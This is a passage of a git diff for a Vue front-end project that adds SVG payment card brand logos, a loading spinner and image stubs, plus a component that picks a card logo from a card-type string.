stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.0 KiB |
1
t_global_post_temp2/src/assets/img/68eec8c23fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
t_global_post_temp2/src/assets/img/761998023fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
1
t_global_post_temp2/src/assets/img/80066acd3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
60
t_global_post_temp2/src/assets/img/ac3bca143fcfa.svg
Normal file
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||
<g transform="translate(80,50)">
|
||||
<g transform="rotate(0)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,71.21320343559643)">
|
||||
<g transform="rotate(45)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(50,80)">
|
||||
<g transform="rotate(90)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.786796564403577,71.21320343559643)">
|
||||
<g transform="rotate(135)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(20,50.00000000000001)">
|
||||
<g transform="rotate(180)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.78679656440357,28.786796564403577)">
|
||||
<g transform="rotate(225)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(49.99999999999999,20)">
|
||||
<g transform="rotate(270)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,28.78679656440357)">
|
||||
<g transform="rotate(315)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
|
||||
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g>
|
||||
<!-- [ldio] generated by https://loading.io/ --></svg>
|
||||
|
After Width: | Height: | Size: 3.9 KiB |
1
t_global_post_temp2/src/assets/img/b4f258fb3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
t_global_post_temp2/src/assets/img/c8e88e5f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 6.8 KiB |
1
t_global_post_temp2/src/assets/img/d2820b3b3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 4.7 KiB |
1
t_global_post_temp2/src/assets/img/d9f501073fcfa (1).svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
t_global_post_temp2/src/assets/img/d9f501073fcfa.svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
t_global_post_temp2/src/assets/img/default.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>
|
||||
|
After Width: | Height: | Size: 300 B |
1
t_global_post_temp2/src/assets/img/e62e66803fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>
|
||||
|
After Width: | Height: | Size: 2.2 KiB |
BIN
t_global_post_temp2/src/assets/img/globe-favicon_1.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
t_global_post_temp2/src/assets/img/master.png
Normal file
|
After Width: | Height: | Size: 2.0 KiB |
BIN
t_global_post_temp2/src/assets/img/mir.jpg
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
t_global_post_temp2/src/assets/img/products/1.png
Normal file
|
After Width: | Height: | Size: 163 KiB |
BIN
t_global_post_temp2/src/assets/img/products/2.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
t_global_post_temp2/src/assets/img/products/3.png
Normal file
|
After Width: | Height: | Size: 259 KiB |
BIN
t_global_post_temp2/src/assets/img/products/4.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
t_global_post_temp2/src/assets/img/products/5.png
Normal file
|
After Width: | Height: | Size: 260 KiB |
BIN
t_global_post_temp2/src/assets/img/products/6.png
Normal file
|
After Width: | Height: | Size: 261 KiB |
BIN
t_global_post_temp2/src/assets/img/video.mp4
Normal file
BIN
t_global_post_temp2/src/assets/img/visa.png
Normal file
|
After Width: | Height: | Size: 3.6 KiB |
0
t_global_post_temp2/src/assets/main.css
Normal file
58
t_global_post_temp2/src/components/CardType1.vue
Normal file
@@ -0,0 +1,58 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width: 60px;" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
58
t_global_post_temp2/src/components/CardType2.vue
Normal file
@@ -0,0 +1,58 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
